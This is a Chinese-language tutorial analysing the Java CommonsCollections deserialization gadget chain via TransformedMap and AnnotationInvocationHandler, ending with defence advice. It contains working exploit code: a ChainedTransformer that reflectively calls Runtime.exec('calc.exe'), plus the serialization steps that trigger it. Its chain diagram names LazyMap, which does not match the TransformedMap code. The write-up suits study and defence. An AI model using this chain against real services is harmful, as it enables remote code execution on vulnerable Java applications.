Java反序列化-CC链,从0到0
字数 1702 2025-08-29 08:30:12
Java反序列化漏洞分析:CommonsCollections-TransformedMap链利用
一、环境准备
1. Java版本要求
- Java版本:必须使用Java 8u71之前的版本(推荐使用Java 8u65)
- 下载地址:
- Oracle Java 8存档页面(中文):https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
- Oracle Java 8存档页面(英文):https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
注意:在下载页面搜索特定版本(如8u65)时可能会下载到错误版本(如8u111),需要多次尝试确认。
2. 源码配置
- 下载JDK 8u65源码:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
- 解压后找到目录:
src/share/classes/sun - 将sun包内容复制到Java 8u65的src目录中
- 在IDEA中配置sourcepath指向src目录
3. Maven依赖
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.13.2</version>
<scope>test</scope>
</dependency>
</dependencies>
二、漏洞利用链分析
1. 完整利用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
2. 核心组件分析
(1) InvokerTransformer类
位于org.apache.commons.collections.functors.InvokerTransformer,实现了Transformer接口:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
// 异常处理...
}
}
构造函数:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
示例利用:
@Test
public void test1() throws IOException, ClassNotFoundException {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
);
invokerTransformer.transform(Runtime.getRuntime());
}
(2) TransformedMap类
位于org.apache.commons.collections.map.TransformedMap,关键方法:
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
构造方法:
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
工厂方法:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
(3) MapEntry类
位于AbstractInputCheckedMapDecorator内部类:
static class MapEntry extends AbstractMapEntryDecorator {
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
(4) AnnotationInvocationHandler类
位于sun.reflect.annotation.AnnotationInvocationHandler,关键反序列化方法:
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// ...
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(...));
}
}
}
}
三、完整利用过程
1. 构造Transformer链
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class), // 获取Runtime.class
new InvokerTransformer("getMethod", // 获取getRuntime方法
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // 调用getRuntime()
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", // 调用exec()
new Class[]{String.class},
new Object[]{"calc.exe"})
});
2. 构造恶意Map
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value"); // 必须使用"value"作为key
Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, chainedTransformer);
3. 创建AnnotationInvocationHandler实例
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorated);
4. 序列化与反序列化触发
// 序列化
serializable(o);
// 反序列化触发漏洞
unserializable("ser.bin");
四、关键点解析
-
为什么使用"value"作为key:
AnnotationInvocationHandler会检查key是否存在于memberTypes中- 使用
Target.class时,memberTypes包含value键
-
绕过Runtime不可序列化问题:
- 使用
Runtime.class代替Runtime.getRuntime() - 通过反射链动态获取Runtime实例
- 使用
-
Transformer链执行顺序:
ConstantTransformer提供初始对象(Runtime.class)- 第一个
InvokerTransformer获取getRuntime方法 - 第二个
InvokerTransformer调用getRuntime() - 第三个
InvokerTransformer调用exec()
-
触发条件:
- 反序列化时
AnnotationInvocationHandler.readObject()被调用 - 遍历Map时会调用
setValue()方法 setValue()触发Transformer.transform()链式调用
- 反序列化时
五、防御建议
- 升级Commons Collections到安全版本(3.2.2+)
- 升级Java到8u71及以上版本
- 使用反序列化过滤器(ObjectInputFilter)
- 避免反序列化不可信数据
注意:此漏洞在Java 8u71后被修复,因为
AnnotationInvocationHandler.readObject()的实现发生了变化。